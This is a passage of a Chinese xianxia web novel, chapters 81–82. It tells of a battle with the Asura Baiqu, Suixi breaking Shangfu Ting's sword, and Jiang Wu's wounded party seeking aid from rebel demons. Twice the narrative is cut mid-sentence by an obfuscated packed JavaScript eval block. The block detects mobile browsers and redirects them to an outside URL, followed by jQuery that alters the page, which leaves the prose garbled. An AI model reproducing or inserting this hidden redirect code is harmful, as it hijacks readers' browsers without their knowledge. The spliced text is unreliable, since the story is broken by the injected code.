百衢见状欲后退半步,却发觉浑身僵硬,根本动弹不得,脚下的法阵将他同癫狂修罗困在了一处,他抬眸看向商扶庭,狞笑道:“原来如此,我说呢,渡劫期的修士根本不是你这般,原来你在此处等着我呢。” 商扶庭腾空而起,太初剑的剑尖直指百衢,“修罗受死吧,下去给全村人赎罪!” 百衢丝毫不惧,双眸中闪烁着疯狂的光芒,他脸上带着一丝狂妄,“你来试试看。”说完,罡风大震在他周身飞速旋转着,卷起漫天的黄沙,冲天的漆黑戾气裹挟在其中,形成巨型的龙卷风。 姜芜凝眸,“商扶庭打不过百衢,我去帮他。”说完,她便飞身上前。 商扶庭丝毫不退,他在太初剑上灌注了全部的修为,剑身上的光芒成了昏黄之色中的唯一的亮光,他手持太初剑刺入黄沙之中,父母、祖母的笑容,以及全村人的面容在他面前一一闪过。 “去死!” 黄沙罡风突然炸开,带着一丝法阵碎裂的声音。 商扶庭面上一惊,他还不等靠近百衢,便被他周身的戾气震了出去,当头喷出一口鲜血。 姜芜伸手接下商扶庭,面色担忧地问道:“无事吧?” 四周的罡风瞬间平息了不少,吞天沃日的龙卷风四散开来,随着百衢踏出的脚步,像是绽开的花瓣一般。 商扶庭捂着胸口摇了摇头,他抬眸看着百衢毫发无伤地走出罡风漩涡。 “嘶。” 百衢抬手碰了一下自己的侧脸,当他看到手指上的鲜血时,发狂一般地大笑了起来,接着他收敛了笑容,神情狠厉地看着商扶庭,“这便是太初剑吗?” 姜芜唤出无心乱,甩动长鞭朝着百衢袭去。 疯癫的修罗见状立刻向反方向跑去。 百衢左手挡住姜芜的长鞭,右手格开商扶庭的太初剑,已然无暇分心顾及逃跑的修罗。 “蠢女人,莫非你要眼睁睁地看着那个修罗去残杀其他人吗?那个修罗若是跑了,会造成什么后果,还需要我再跟你重复吗?你忘了你哥哥是怎么死得了吗?” 宿凌薇面色一沉,当即去追那个疯癫的修罗。 百衢对抗起两人有些麻烦,心绪烦躁不宁,便对二人下起了狠手,他握住姜芜的长鞭,随手甩了出去,“别挡道!我今日要杀得是这个道士!” 姜芜稳住身形,反手以长剑刺向百衢。 商扶庭见状,立刻配合着起姜芜的剑式。 百衢侧身躲过,以戾气制衡住姜芜,抬手握住她的手臂,施力将她甩向商扶庭的位置。 商扶庭见状怕伤了姜芜,立刻收剑将她接到怀中,“还好吗?” 姜芜摇了摇头。 百衢冷笑一声,“濯漪,你一个修罗,放着戾气不用,偏偏去学什么人族的东西,你手中的武器不就是根据人族武器仿制的吗?不伦不类,像什么东西?完全限制了戾气的发挥。” 姜芜问道:“扶庭,还记得我教你的那套剑式吗?” 商扶庭颔首,“记得。” “上!” 姜芜以极快地速度奔向了百衢,黑红色的戾气缠绕到手中的长剑上,她迅速地刺出一剑。 百衢轻而易举地接了下来,并挡住了属于商扶庭的第二剑,“你们二人就这点本事吗?” 姜芜说:“我们只是想离开这里,没有必要同你起冲突。” 百衢嗤笑一声,仿佛听到了好笑的事情,“你们这般本事,还敢跟我说起冲突?分明是我能碾压你们的程度。”说完,他的戾气再次扑向二人。 商扶庭早有防备,立刻展开结界阻挡。 姜芜围绕着商扶庭旋身,从后者的另一侧去攻击百衢的空门处。 “这样便想拿捏我吗?” 百衢话音刚落,神色一凝,他只防御到了自己的空门,却不曾想到二人迅速变换招式,配合得天衣无缝,将他反复逼退。 百衢想要攻击其中一个人的空门,另一个便会阻拦他的进攻,一招一式,一防一守,相得益彰。 姜芜和商扶庭一同抬腿,击于百衢的胸口,将其击退。 百衢跌坐在黄沙上,他抬手擦了一下唇角的鲜血,“有点东西啊,你还要再一旁观战到何时?我可没有欺负她!” 姜芜蹙眉,对于百衢所说之人,心中浮现起了隐隐约约的期待,但是又害怕自己的期待会落空,所以急切地想要刨根问底将事情弄清楚。 商扶庭出声道:“别等,一起解决掉他!” 姜芜抬眸看向商扶庭,不等她开口阻止,只见后者已经提剑刺向了百衢。 一道漆黑的戾气在顷刻之间击在了商扶庭的胸口。 商扶庭连连后退,惊讶于百衢居然还有帮手,当他看清了来者的模样时,立刻震惊地睁大了双眸。 玄袍落在了黄沙之上,黑白相间的长发顺着垂落其中,来者俯身朝着百衢伸出了手。 百衢满意地看着姜芜和商扶庭脸上的表情,握着来者的手站了起来。 “如何?我不跟你抢。” 81. 失控 “睢......睢羲?” 睢羲闻声面无表情地看了姜芜一眼,随后飞身朝着商扶庭攻去。 “等等。” 姜芜转身欲追上去,却被百衢拦住了去路。 百衢道:“去哪里?你的对手,是我哦。” 姜芜蹙眉,抬手应对起百衢的进攻,她心绪紊乱,无心乱便散了招式,应对起百衢有些吃力。 “你想做何事啊?是不是见到睢羲很惊讶?”百衢笑着问道,“想要去到他的身边吗?你是不是觉得自己把他害得还不够惨?你当年允了他多大的恩情,让他记你至此?即便是把自己搞得这副人不人鬼不鬼的样子,也要护着你,也不许别人说你一句不好,更是叮嘱我不要欺负你。濯漪,你到底有什么好的?凭什么践踏他的真心?” 百衢逼近姜芜,后者立刻反握无心乱格挡。 “柏雨死了,你知晓吗?”百衢神情狠厉地看着姜芜,声声质问,“那个孩子死了,你知不知晓?她一命换一命,用自己的命换了睢羲的命,这一切都是你害的,柏雨也是你害死的!” 姜芜蹙眉,心中百感交集,片刻后她有些绝望地合上双眸,松开了握着无心乱的手。 百衢见状神情阴鸷地挥袖把姜芜击飞,随即缓缓地吐出了一口浊气,他不给姜芜反应的机会,立刻飞身上前,一脚将其踢飞。 姜芜在沙地里翻滚了片刻,后背撞到一颗巨树才停了下来,她半撑起身吐出一口鲜血。 百衢俯身抓着姜芜的衣襟将其提了起来,他狠狠地盯着后者,双眸中喷薄着怒火,“若不是睢羲,我现下真想杀了你。你就是一个祸害,什么时候都是!招惹了睢羲不说,还要招惹段怀野,害得修罗一族至此,害得睢羲至此,你真是死千次百次都不为过。你说你当初为何要回来,你若不回来,所有的事情都不可能变成现下这样,你真是一个自私到了极致的人,任性妄为。” 姜芜面无表情地垂着双眸,任凭百衢再次将她甩出去,她没有任何想要反抗的想法,即便是口吐鲜血,也只是默默地抬手擦掉。 “都是你,每次都是你,都是你将我们害成这般模样!”百衢居高临下地看着爬不起身的姜芜,“为何死得不是你,而是那个孩子,所有人都想活下去,她也不例外,她将自己养得这般好,长得这般大......她为睢羲放弃生命,只为换他活下去,你呢?你带给他的只有一身的伤痛和寥寥无几的生命,你说你该不该死?” 姜芜积攒了几分力气,缓缓地爬了起来,朝着前方走去。 百衢再次抬手把姜芜甩到了地上,“别再爬起来了,否则我真得会忍不住杀了你。” 姜芜撑起身,鲜血淅淅沥沥地没再停过,沾得衣服上到处都是,让她看起来无比得狼狈。 姜芜抬眸看着面前的黄色,试图寻找着那抹熟悉的影子,鲜血刺激着她的喉咙,折磨得她声音嘶哑,“百衢......让我......让我过去......我要过去......” 百衢眉心狠狠地一蹙,他上前踢着姜芜的肩膀让她翻身仰躺,脚尖顺势撵着她的肩膀上的伤口,“你过去做什么?见睢羲没有死,还想彻底了结他吗?还是想看看你的小情郎是否被睢羲杀死?” 姜芜疼得浑身颤抖,神情无力地看着百衢,颤声道:“我没想过……没想过做别的……” 百衢看着姜芜厉声道:“姜芜,你为自己取了个人族的新名字是不是?能不能就当濯漪已经死了,回来得是一个叫姜芜的人族,行不行,可不可以?你放过睢羲吧,就当可怜可怜那个孩子,饶睢羲一命吧,他现下身上不仅有自己的命,还有柏雨的命。柏雨同你无冤无仇,你总不能再想着杀了她吧?人族世界繁华迷人眼,你喜欢便不要再回来了。你若是不回来,睢羲同柏雨又是令人艳羡的一对。” 姜芜闻言轻笑了起来,她抬眸狠厉地看着百衢,轻声说:“凭什么?” 百衢闻言蹙眉,神情不解地反问道:“什么凭什么?” 姜芜抬眸决绝地看向百衢,痛心疾首地道:“我与他……轮得到别人插足?就凭他等了我几千年,就凭他给我一切,柏雨想同睢羲成为令人艳羡的一对?你做梦去吧,她与睢羲才多久,便想从我身边抢走睢羲?下辈子吧!”说完,她唤出无心乱,抬手狠狠地甩向百衢,趁后者分神之际,立刻起身离开。 睢羲召唤出离旧,游刃有余地接下商扶庭的每一招,从容不迫地消耗着他的体力。 商扶庭挥剑砍向睢羲,气喘吁吁地看着他。 睢羲眯眼看着太初剑砍在离旧刀身上的那处,突然发出一阵轻笑,“千万别砍坏了,毕竟这个武器可是濯濯抽了自己的脊椎骨炼制而成的。” 商扶庭一惊,立刻抽身后撤,他看着睢羲手中的长刀,心中百感交集,片刻后才缓缓道:“但那也只是过去了,现下她是姜芜,并且同你没有任何关系,而且送出去的东西便没有再收回的道理,那样不好看。” 睢羲说:“那又如何?她不曾送过你任何东西。” 商扶庭勾唇笑了起来,“那也比你送她代表分离的东西要好。” 睢羲蹙眉,“何意?” 商扶庭抬手擦去太初剑上的鲜血,“姜芜同我说,她因为不适应无幻之境干燥的环境,所以你会给她吃一些梨来润肺,还在院子中种了梨树。你可知晓,在我们人间,分梨分离,送梨送离,总之便是离别之意。所以,分离其实是你自己选的,无论是生离还是死别,都是你们注定的结局。” 睢羲的面色顿时阴沉了下来,他收了离旧,欺身上前。 商扶庭见状立刻挥剑出击,剑式气贯长虹,睢羲只是抬指便抵挡了他来势汹汹的剑风。 商扶庭凝眸,旋身以剑尖直刺睢羲心口的旧患处。 睢羲迅速后撤,太初剑紧随而来,他抬腿踢飞商扶庭手中的太初剑,随即一掌打在他胸口的位置。 商扶庭顿时口吐鲜血,身体如同断了线的风筝一般飞了出去。 睢羲虚空扼住商扶庭的脖颈,将其抓了回来,抬手猛地将他按在了黄沙之上。 商扶庭顿时感觉呼吸艰难,他无意识地张着嘴,喉咙中发出嘶嘶得吸气声,他面目狰狞地扣着睢羲的手指,试图将自己从这种窒息中解救出来。 睢羲松了手指,留给商扶庭一丝喘息的机会,一脸挑衅地看着后者脸上的狼狈。 商扶庭神志回笼,他抬手召来太初剑,挥剑意图斩断睢羲的手臂。 睢羲迅速抽身后退,他从袖袋中取出那块玄铁,在太初剑再次刺向他时,抬手用玄铁猛得击向剑身。 商扶庭震惊地瞪大了双眸,剑柄处一端脱手落地,剑尖一侧已经斜飞去黄沙之中。 本命剑碎,商扶庭的内府受到了极大的冲击,他一脸难以置信地看着睢羲,随即半跪在地,大口大口地呕吐着鲜血。 睢羲立刻上前将商扶庭踹翻在地。 商扶庭只觉得一阵恍惚,再回过神来时,已经被睢羲扼着衣襟拎了起来。 商扶庭双眸聚焦,握拳挥向睢羲,后者一时未曾察觉,被他所袭击,当即便松了手。 商扶庭咬牙起身,双手握拳冲向了睢羲。 睢羲抬手接住商扶庭挥来的一拳,反手一扭,直接扭碎他的右臂,然后一脚踹向商扶庭的膝窝上,折着他的手,蜷臂卡在他的脖颈处,缓慢得收紧,像是一只正在绞杀猎物的巨蟒。 “睢羲!” 姜芜惊讶地看了一眼断裂的太初剑,随即又看向睢羲,目光落在后者黑白参半的长发上,眼神中多了几份悔恨与怜惜,紧接着汹涌而来的喜悦迅速将其余的感情吞噬,她告诉自己现下并不是在幻梦水编织的梦境之中。 睢羲在姜芜出声时便松了力道,只是一直禁锢着商扶庭。 “何事?” 姜芜听着睢羲冷淡的声音,眼泪险些从眼眶中滚落,“你先放开他,他只是一个普通修士,而且你折了他的本命剑,他活不长了,没有必要再如此对他。” 睢羲松了手,在昏迷的商扶庭后背上施一道力,将其推倒在地。 姜芜见状心下松了一口气,她缓缓得走上前,带着一丝试探与小心翼翼,她想勾起了一缕睢羲的长发,却看到自己手上血污后又讪讪地收了手。 “对……对不起,百衢都跟我说了,我不知晓事情会发展成这样,我……” 睢羲开口打断姜芜的话,“事已至此,多说无益。”说完,他便绕过姜芜,朝着百衢走去。 姜芜迅速转身,神情无助地看着睢羲,“你去哪?” 睢羲脚步停顿,头也不回地说:“如你所愿,待在无幻之境内。至于你,可以去做任何你想做的事。姜芜,去留随你。” 姜芜点了点头,欣慰地笑了起来,“很好,这样很好,就该如此恨我,要一直恨我,毕竟是我让你变成现下这副模样的,是我杀了柏雨,一切都是因我而起。” 睢羲的眉心微不可查地一拢,沉默不语地向前走去。 姜芜看着睢羲走远,卸力跪坐在黄沙之上,垂眸看着自己满手的鲜血,她知晓那些鲜血不是她的,是她杀死的每一个人的,她别无他法地在一条未卜的道路上越行越远。 姜芜无奈地闭上了双眸,世上没有让时光倒转往前的法术,唯有在奔腾不止的时光长河里麻木挣扎的所有。 姜芜幽幽地叹了口气,身心疲惫到了极点,她缓缓地起身,在黄沙之中翻找起另一截太初剑。 宿凌薇飞身而来,“可算是解决了,若是百衢没有及时赶到,我还没有办法及时脱身呢……濯濯,发生何事了?这些都是百衢做的?” 姜芜把碎成两段的太初剑放在商扶庭身侧,她垂眸看着后者,抬手聚了一丝戾气注入到了他心口的位置。 “这是……太初剑?太初剑居然断了?”宿凌薇的脸上出现了肉眼可见的高兴,“太好了,太初剑终于断了!” 商扶庭幽幽转醒,他有气无力地看着姜芜,随即勾唇一笑,从破碎狼藉的内府中取出一颗兽蛋,“好在这小家伙没事,前些日子有破壳的迹象,一直未能同你分享,以后便麻烦你照顾它了。” 姜芜伸手接过兽蛋,顺手收进袖袋中,“不要说这些没用的话,你不会死的。” 商扶庭无意识地向外呕着鲜血,他的双眸紧紧地盯着姜芜,目光留恋不舍,“还有……我想问问你,同心咒怎么解?血契……我是解不了了,你总得解开我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15596928|163894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身上的同心咒吧......姜芜,我没有力气了,别让我的死连累你......” 姜芜蹙眉,高声反驳道:“商扶庭,我都说了,你不会死的。”说完,她托着商扶庭至自己的背上,稳稳当当地将他背了起来。 “薇薇,麻烦拿一下太初剑。” 宿凌薇后知后觉地应了一声,随即扯了一块衣摆包起太初剑跟上了姜芜的步伐。 姜芜背着商扶庭一身是血地出了无幻之境,跌跌撞撞地穿梭在顺榆镇的大街小巷中,四周的百姓纷纷对其避之不及,宿凌薇快步跟在身后,看着姜芜面色如金纸,她托着商扶庭,时不时提醒后者走慢一些。 姜芜所走得每一步都是煎熬,她原本便失血过多,背着商扶庭恍若在后背上压了一座大山,但是她又没有停下的资格,她要救治好商扶庭,不能让睢羲随随便便地再次背上五行道宗的血债。 姜芜直到走到了客栈前才敢松了一口气,卸力扑倒在地,商扶庭从她的后背上滚落,她也因为体力透支而呕着鲜血。 “雾……雾沅……” 雾沅闻声迅速同寂满从客栈里跑了出来,见门前的两个血人,瞬间愣在了原地。 宿凌薇神情焦急地喊道:“你们还愣着做什么?赶紧把人扶进去啊。” 寂满立刻看到了宿凌薇手中断成两截的太初剑,接着又看向生死不明的商扶庭,结结巴巴地说:“这这这……怎么回事啊,无幻之境这么凶险吗?是死了还是活着?” 雾沅率先反应了过来,上前抱起姜芜,轻声问道:“到底发生何事了?” 姜芜神情虚弱地摇了摇头,随即眼前一黑顿时昏死过去。 【长街】 宗华垂头丧气地跟在沈确身后,绞着手指一言不发。 沈确回头看了宗华一眼,随即在小贩处买了两串冰糖葫芦,伸手递了一串给宗华。 宗华一惊,看着怼到面前的冰糖葫芦,琥珀色的糖浆裹着鲜红爽口的山楂果,但是他却一点胃口都没有,“阿确,我还是不吃了吧。” 沈确问道:“你不饿吗?” 宗华摇了摇头。 沈确强硬地将糖葫芦塞到了宗华手中,“人是铁饭是钢,你又不是修道之人,饿坏了怎么办?” 宗华看着手中的糖葫芦,神情恹恹地说:“可是我没有胃口。” 沈确无奈地一笑,“宗华,那是你哥哥做得事情同你没有关系。” 宗华攥紧了手中的木棒,神情悲痛地说:“可是……可是神仙姐姐说,长灵一族长久避世,村落里有隐匿气息的法阵,我哥哥之所以能找过去,是因为我的原因……” 沈确说:“她说你便信啦?她也是猜测啊,我们又没有见到你哥哥。你也不要给自己太大的压力,也不要觉得是自己的错,你根本没有错,人长着双腿还不能走路了吗?再说那是你哥哥的错,跟你没有关系的。” 宗华小口咬着冰糖葫芦,嚅嗫道:“可是常族长他们都是好人啊,他们不该落得如此下场,我对于他们的遭遇也很难过,眠眠也很可怜。” 沈确歪头看着宗华,“可是你伤心难过也没用啊,又不能救回他们,而且还会伤害你自己,不如做些有用的事情吧?” 宗华倏地抬眸看向沈确,双眸亮晶晶的,里面充满了期盼,“什么是有用的事情?” 沈确见状满意地一笑,然后将一包桂花糕放在了宗华的手中,“你先吃东西,吃完我便告诉你。” 宗华重重地点了点头,“好,我吃。”说完,他便往嘴里塞起桂花糕。 沈确笑着说:“慢点吃,慢点吃。” 【客栈】 雾沅抱着姜芜往房间走去,寂满扛起商扶庭也跟着他上楼。 店小二对此早就见怪不怪,他跟在宿凌薇身后长吁短叹,索要着清洗费用,宿凌薇被他烦得心乱,扯了头发上的金色束发链便扔了过去。 “够买下你们客栈的了,别打扰我们!” 宿凌薇猛地关上房门,将店小二拍在门外,随手将太初剑扔在桌上便急匆匆地去了里间,焦急地问道:“濯濯怎么样?” 雾沅面色凝重地展开妖力,缓缓得修复着姜芜身上的伤口,分神问道:“你们遇见什么了?” 宿凌薇心急如焚,顾不得凌乱的头发,“我也不清楚百衢会将他们打成这样。” 寂满风风火火地推门走了进来,他神情惊惧,“姜芜如何了?那小道士恐怕是不行了。” 雾沅说:“暂时无事,只是伤得很重。” 姜芜挣扎着醒来,趴在床边干呕了片刻。 寂满见状立刻从外间倒了水进来,“姜芜,你觉得怎么样?” 雾沅说:“先不要讲话,我先给你疗伤。” 宿凌薇见状暗骂了一声,“百衢这个滚蛋,我去找他算账!” “薇……”姜芜阻拦未果,只能虚弱地抬起头看着宿凌薇快步走了出去,接着她看向一旁的雾沅和寂满,“有些事情,需要你们帮忙。” 寂满问道:“什么事?” 姜芜费力地撑起身,积攒了一番力气才抬眸看向寂满,“需要你们二人前往大荒,去找你父亲,借片龙鳞给商扶庭续命。” 82. 奔走 雾沅蹙眉,“龙鳞续命?” 姜芜点了点头,双唇惨白又干瘪,整个人像是只吊着一口气般,她气若游丝地解释道:“对,随便一片真龙之鳞便可。” 雾沅问道:“可是太初剑已毁,龙鳞续命也不过是熬精气神,他迟早是要死的。” 姜芜积攒了一番力气才说:“没关系,我有办法,只是需要麻烦你们二人走一趟,用龙鳞为我争取一些时间,切忌,速去速回。” 寂满巡视着姜芜身上半数染血的白衣,单单只是看着便觉得浑身疼痛,他神情郁结地问道:“可你的伤……你怎么伤得这么重啊?你不是大修罗吗?你不是很厉害吗?谁还能把你打成这样啊?就算是这样,你也要关心其他人吗?” “一时半刻死不了,而且雾沅已经给我治伤了。”姜芜从纳袋中取出一个瓷瓶放到了寂满的手中,“这是给眠眠治眼睛用的天河之水,还有两瓶在小道士那里,一瓶要送往天都城除妖司,可以解东城百姓的毒。” 雾沅问道:“那你呢?你身上的伤该如何?或者我们该寻些什么药来给你?” 姜芜神情倦怠地躺回了枕头上,“我无事,睡一觉便好了,如果能洗个热水澡便更好了。” 寂满一时语塞,看着姜芜的眼神有些复杂又震惊,“你都这样了......还要洗热水澡?” 雾沅闻言只是无奈地叹了一息,“我去喊店小二帮你烧水,不过你伤成这个样子,独自洗热水澡真的可以吗?” 姜芜立刻撑着身坐了起来,她抬手理了理衣襟,“没问题的,我只是打累了,体力告急,并不是快死了,真的不用担心我。” 雾沅欲言又止地看着姜芜,他不赞同后者的做法但也只能应下,“热水很快便送来,记得别洗太久。” “好。” 姜芜让送热水的小厮关好房门,将干净的衣裳放在置物凳上,脱了血污的衣裳便迈进了浴桶中,热水包裹着她疲惫不堪的身体,泡下那些干涸在皮肤上的血迹。 姜芜将自己的长发拢至身前,清洗着上面血土混合物,她的头发很长,沾水之后如同绸缎一般,呈现出一种健康的乌黑色,如同墨一般散在水中,脑海中闪过睢羲的黑白参半的长发,梳理发尾的手一顿,随即闭眼沉入热水之中。 羽游察觉到翎羽被燃烧时,立刻放下手中之事,展开双翼便寻着翎羽的气息飞了过去。 【常奉眠房间】 寂满小心翼翼地推开房间,见常奉眠安静地伏在窗棂上,她面上蒙着白巾,不知晓是睡了还是醒着。 常奉眠听到房门的响动,来者却迟迟没有动作,她不动声色地将手按在自己腰间的匕首上,心中难免有些举棋不定,怕突然出击伤了自己人。 “是寂满吗?” 寂满闻言进门,并伸手将房门关好,“原来你醒着啊,我还怕你睡了,就想着不来打扰你了。” 常奉眠扶着桌子站了起来,心神不宁地问道:“寂满,你……是要出去吗?” “坐着便好。”寂满上前扶住常奉眠,“我要回大荒,去去便回来,最晚到吃晚饭的时候?” 常奉眠问道:“濯漪呢?也一起去吗?” 寂满摇了摇头,又想起常奉眠看不到,立即说:“她不去,她就在隔壁,但是她受了很严重的伤。所以,为了你的安全,我走之前在门上设下禁制好吗?” 常奉眠点了点头,“濯漪还好吗?她受得伤严重吗?其实我也不怎么出去的,你去忙便好,不用挂心我。” “眠眠,你别担心,姜芜很厉害的。”寂满安抚道,“我这次回家就是给她找药的,保证她服下以后活蹦乱跳的。” 常奉眠抿了抿双唇,“找药的话……麻烦吗?会很危险吗?” 寂满闻言先是一惊,随即觉得心田开满了一片小红花,他喜出望外地说:“不会,一点都不麻烦,而且不危险,我寂满大王多厉害啊。” 常奉眠面上松了一口气,“这样便好,你若是出了意外,濯漪会自责的。” 寂满神情一愣,漫山遍野的小红花顿时垂下了头,一副蔫头耷脑的模样,他感觉面上麻麻热热的,“原来……原来你不是关心我呀……我还以为你关心我呢。” 常奉眠也有些意外,又想起他结结巴巴的心意,脸红耳热地低下了头,“那……那你也要注意安全……” 寂满顿时心花怒放,眉开眼笑地说:“好,一定。” 【商扶庭房间】 商扶庭靠在床榻上,听着雾沅转述姜芜的话,随即偏头呕出一口鲜血,他摆了摆手,接过雾沅递过来的帕子。 “不必如此麻烦,我内府损坏,本命剑已折,所剩的修为都无法治愈自己的伤,不用再耗费时间救我了,不值得。”商扶庭从纳戒里取出两瓶天河之水,“这个麻烦你都给我师妹吧,你代我转交,不要告诉她我的情况,让她快些前往天都城,若是让我师门知晓了,大抵又要难为姜芜了。” 雾沅蹙眉,抬手接过商扶庭递来的瓷瓶,“商道长,不要放弃,姜芜说她有办法。” 商扶庭有气无力地一笑,“不用了,我自己的身体我自己知晓,还有……我身上有师门的血契和姜芜的同心咒,要如何解除才能不影响她?” 雾沅长长地叹了一口气,商扶庭所说的两件事,他都做不到,他即解不开五行道宗的血契,也解不开姜芜的同心咒,心中难免有些愧疚,他摇了摇头说:“商道长,我解不开,所以你要撑下去,为了姜芜,撑到我们回来。” 商扶庭点了点头,“好,我尽量。” 雾沅将其中一瓶天河之水放在了榻边的矮几上,“我只将其中一瓶送去给沈确,至于另一瓶你自己留着。” “师兄!师兄!”沈确拍着门,神情焦急地大喊着,客栈门口那一滩血迹让她心慌,“师兄,师兄你在里面吗?” 商扶庭抬眸看了雾沅一眼,“麻烦你了,她若是不信,可以将这个给她。”说完,他便将太初剑的剑鞘取出,神情无奈地抚了一下便交给了雾沅。 商扶庭心中有愧,他辜负了师门的期望,不仅没有斩妖除魔,捍卫正道沧桑,寻得修补无幻之境的圣物,没有还天下一个太平,也辜负了太初剑的信任,太初剑认他为主,陪他出生入死,他却没有将其保管好。 雾沅伸手接过剑鞘,“商道长既然如此信任我,那我必定不负所托。” 宗华见沈确敲了许久的门,门内都不曾有回应,便有些疑惑地问道:“阿确,是不是商道长不在其中啊,门前的血液也不见得是他的,你不要太过于忧心和着急了。” 雾沅推开门从隔壁走了出来,“沈道长,这是商道长让我给你的,并叮嘱让你尽快送到天都城的除妖司去,她说这是天河之水,可以解东城百姓的毒。”说完,他便将手中的瓷瓶递向沈确。 沈确接过瓷瓶,半信半疑地看着雾沅,“我师兄真是这么说的?我师兄去哪里了?” 雾沅又将剑鞘取出交给了沈确,“商道长又折回了无幻之境,他就是怕你不信,所以特意留了太初剑的剑鞘给我。” 沈确确定雾沅手中是太初剑的剑鞘不假,心中有些惊讶于商扶庭对雾沅的信任,她接过后者手中的瓷瓶,“我即刻启程,等我师兄回来后,你记得让他给我传讯报平安。” 雾沅颔首,“好。” 宗华见状立刻道:“我也去!我陪阿确一起!” 雾沅看了宗华一眼,“也好,你们二人在路上互相有个照应,注意安全。” 【姜芜房间】 姜芜正坐在板凳上擦着自己的长发,随即便看到合起来的窗户被风吹开,羽游收翅掠了进来。 “你要准备去见三位大人了吗?” 姜芜擦头发的手一顿,随即笑着对羽游说:“你就这么堂而皇之的飞进来吗?万一被人看到怎么办?” 羽游摇了摇头,面无表情地说:“我不怕。” 姜芜脸上笑意更浓,“我是怕你吓到别人,毕竟这里是人族的城镇。” 羽游面无表情地说:“这个无所谓,即便是看到了,他们也不能对我怎么样。” “好吧。”姜芜扬手将帕子扔在架子上,将头发用戾气烘干,随手用白玉簪挽了个低髻,“他们三位在哪?我们要怎样过去?” 羽游抬手幻化出一条白巾递给姜芜,“三位大人所在的地方隐蔽,需要你将双眼遮上,由我带你去。” 姜芜笑着抬手接过白巾,“三位都是造反的主,还怕见人不成?既然如此,不怕他们拿你羽族当过河拆桥的踏板吗?” “你莫要在此挑拨离间。”羽游眉心一拢,“三位大人并非不分青红皂白的大妖,反倒是你,寻三位大人有何目的?” 姜芜身上将白巾系在了双目之上,“他们对我好奇,是因为我是不可知人,而我寻他们,自然是对未来之事感兴趣。就像那夜你们登上云舟,玃如没有告诉你们要小心五行道宗的人吗?也未告诉你,你弟弟的羽翼会因为五行道宗的人而折吗?”说完,她便对着羽游伸出了自己的手。 羽游面色一寒,默不作声地握住姜芜的手,随即展开双翼从窗口掠了出去。 羽族速度极快,可日行千里,双脚抓力十足,可拧碎猎物头颅,因为身体特性的原因,加之有绒毛蔽体,早已经习惯高空的大风与严寒。 姜芜不得已抬袖挡风,有些后悔没有加件氅衣御寒,不过又想起羽游的速度,即便是氅衣也会被大风吹透,但她现下仅有的戾气也不够撑起一道御寒结界。 “好姑娘,麻烦给我撑一道结界御寒吧,否则我会被吹至失温的。” 羽游垂眸看了姜芜一眼,以二人双手渡了一些妖力,替她撑起了一道护体结界,“飞行已经很久了,为何开始自己不撑?” 姜芜冷得嘴唇有些发紫,依旧笑着说:“本以为能够忍受几分的,现下法术比不得之前了。” 羽游想起姜芜为救治羽言耗费的法术,心中有愧,又将结界加固 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609825|163894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得更牢。 羽游落地并州府,凌空收起双翼,将一套纱裙围在了下半身遮起自己的双腿,随后拉着姜芜往内走去。 “到了吗?” 羽游应了一声,叮嘱道:“先不要摘下白巾,我先带你进去。” “好。” 姜芜跟着羽游向前走着,试探着往前迈着步子,耳边能听到几个人来来往往的步伐声,步履沉重,应当只是一些凡人。 临近黄昏,四处飘散着淡淡的饭香味。 姜芜突然想起自己在荆州府看不见的日子,想起每日新鲜的海货以及加了青豌豆和玉米的米饭,明明没过多久,却已经像是上辈子的事情,美丽让人怀念,像是所有的事情都未发生之前。 “羽游姑娘,这便是那位大人所说的人吗?” 姜芜听到声音回过神,微微向来者偏头,凭借气息发觉此人应当也是个凡人。 羽游应了一声,“大人还在等她,不久留。” “好好好,羽游姑娘先忙正事。不过近些时日不太平啊,羽游姑娘在外要小心啊,听说荆州萧魁三子为争夺城主之位打得头破血流,这二公子萧高瞻继位后已经无力镇压鬼族人,南疆鬼族逃窜出了不少,听说他们会附身,可怕得很啊。” 姜芜开口问道:“荆州城主现下不应该是萧无祸吗?” “您说的是三公子啊,三公子已经死了,听闻他豢养木妖,东窗事发后,在百姓面前自戕,说得那叫一个情深义重,说他妻子胆子小,要一命换一命,待他死后莫要为难她。哎哟,那可是个木妖啊!人妖有别,为何要在一起呢?可惜了,可惜了,可惜了萧三公子的炼器天赋了。” 姜芜神情不变,笑着道谢。 羽游回头看向姜芜,神情有些诧异,“你认识荆州的那几人?” “不认识。” 姜芜听到那人脚步声逐渐远去,开口问道:“他们三人藏身于人族府邸?不是说要反吗?连日来不断骚扰长灵部落,你们到底要做何事?” “这不是你该关心的事情。”羽游引着姜芜进入一方小院,“到了,可以取下白巾了。” 姜芜闻言抬手将覆在面上的白巾取了下来,黄昏之色穿进庭院之中,四处一片宁静安详,归家的飞鸟成群结队地滑过橘色的天空,发出一阵又一阵叫声。 姜芜眯着双眸,适应了一番光线,情绪被四周的环境所感染,心中一片安逸。 “进去吧,玃如大人和狌狌大人在里面等你。” 姜芜看了羽游一眼,“烛九阴不在吗?” 羽游蹙眉,“不要多问。”说完,她便转身离开了小院。 姜芜垂眸,神情无奈地一笑,脚下没有任何迟疑地走上前,抬手敲了敲房门。 “玃如,我赢了。”狌狌笑嘻嘻地给姜芜开了门,“快进来吧,请坐请坐。” 